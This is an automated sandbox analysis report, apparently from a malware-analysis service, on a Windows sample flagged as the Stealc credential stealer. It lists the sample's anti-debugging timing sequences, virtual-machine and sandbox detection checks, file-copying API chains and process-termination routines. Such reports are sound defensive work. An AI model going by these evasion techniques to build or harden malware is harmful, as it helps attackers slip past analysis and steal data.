Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122D2E second address: 1122D41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 js 00007FBF08D33346h 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA525 second address: 11EA533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBF09325AB6h 0x0000000a pop esi 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA533 second address: 11EA553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF08D33353h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FBF08D33346h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA6B6 second address: 11EA6C2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jl 00007FBF09325AB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA839 second address: 11EA83D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ECF55 second address: 11ECF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA652 second address: 11FA666 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33350h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA666 second address: 11FA672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA672 second address: 11FA676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA676 second address: 11FA6A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007FBF09325AC9h 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA6A6 second address: 11FA6AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA6AD second address: 11FA6B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA6B3 second address: 11FA6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBF08D3334Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCCB3 second address: 11FCCBF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCCBF second address: 11FCCC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC878 second address: 11FC887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FBF09325AB8h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC887 second address: 11FC89E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Dh 0x00000007 jnl 00007FBF08D3334Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202620 second address: 1202624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202624 second address: 120262A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214961 second address: 1214965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214965 second address: 1214977 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121360E second address: 1213621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBF09325ABCh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213770 second address: 121378C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33355h 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121378C second address: 12137C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FBF09325AC6h 0x00000011 pop edx 0x00000012 push eax 0x00000013 jmp 00007FBF09325AC0h 0x00000018 jbe 00007FBF09325AB6h 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213A61 second address: 1213A70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213A70 second address: 1213A75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1213A75 second address: 1213A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218727 second address: 121872B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12182CF second address: 12182D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121843B second address: 1218469 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC2h 0x00000007 jmp 00007FBF09325AC5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221ED2 second address: 1221ED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221ED7 second address: 1221EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221EDD second address: 1221EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF08D33356h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221EFB second address: 1221F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBF09325AB6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12349BC second address: 12349C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12349C4 second address: 12349CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124485B second address: 1244868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push ebx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1244868 second address: 1244881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325AC1h 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243744 second address: 124377F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jc 00007FBF08D33346h 0x0000000d pop ecx 0x0000000e pushad 0x0000000f jmp 00007FBF08D33354h 0x00000014 pushad 0x00000015 je 00007FBF08D33346h 0x0000001b jnl 00007FBF08D33346h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 jnl 00007FBF08D33346h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124377F second address: 124378C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBF09325AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243D47 second address: 1243D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1244195 second address: 124419C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124419C second address: 12441AE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBF08D3334Ch 0x00000008 jl 00007FBF08D33346h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12441AE second address: 12441BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FBF09325ABEh 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12442F4 second address: 1244302 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FBF08D3334Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1244302 second address: 124430E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245F36 second address: 1245F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D3334Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245F45 second address: 1245F49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124A67C second address: 124A6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jns 00007FBF08D33346h 0x00000014 jng 00007FBF08D33346h 0x0000001a popad 0x0000001b jmp 00007FBF08D33355h 0x00000020 popad 0x00000021 mov eax, dword ptr [esp+04h] 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124A6B6 second address: 124A6BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0502 second address: 52D0543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF08D3334Ah 0x00000009 popad 0x0000000a pushfd 0x0000000b jmp 00007FBF08D33352h 0x00000010 and ecx, 2B690F98h 0x00000016 jmp 00007FBF08D3334Bh 0x0000001b popfd 0x0000001c popad 0x0000001d push eax 0x0000001e pushad 0x0000001f mov cx, dx 0x00000022 push eax 0x00000023 push edx 0x00000024 mov edi, 712ECF74h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0543 second address: 52D0551 instructions: 0x00000000 rdtsc 0x00000002 mov ah, bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov esi, ebx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0551 second address: 52D056A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D33355h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D056A second address: 52D056E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D056E second address: 52D058C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FBF08D3334Dh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D058C second address: 52D0590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0590 second address: 52D0594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0594 second address: 52D059A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E87F second address: 116E885 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FBB28E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FBDC01 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11F1E6D instructions caused by: Self-modifying code

Contains capabilities to detect virtual machines

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Found evaded block containing many API calls

Source: C:\Users\user\Desktop\file.exe

Evaded block: after key decision

Program does not show much activity (idle)

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE40F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00CE40F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDE530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00CDE530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE47C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00CE47C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDF7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CDF7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD1710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CD1710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDDB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CDDB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE4B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CE4B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE3B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00CE3B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDBE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CDBE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDEE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00CDEE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDDF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CDDF10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CD1160 GetSystemInfo,ExitProcess,

0_2_00CD1160

Source: file.exe, file.exe, 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2091636092.00000000015C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: file.exe, 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091636092.00000000015F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Checks for debuggers (devices)

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CD4610 VirtualProtect ?,00000004,00000100,00000000

0_2_00CD4610

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\file.exe

0_2_00CE9BB0

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE9AA0 mov eax, dword ptr fs:[00000030h]

0_2_00CE9AA0

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE7690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,

0_2_00CE7690

Program does not show much activity (idle)

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5952, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE9790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00CE9790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE98E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_00CE98E0

Source: file.exe, file.exe, 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: QProgram Manager

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D17588 cpuid

0_2_00D17588

Contains functionality to query locales information (e.g. system language)

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00CE7D20

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE6BC0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00CE6BC0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE79E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00CE79E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CE7BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00CE7BC0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2037496917.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5952, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2037496917.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5952, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

ID:	1545915
Product:	CloudBasic
Start time:	10:14:08
Start date:	31.10.2024
Sample:	file.exe
Cookbook:	default.jbs
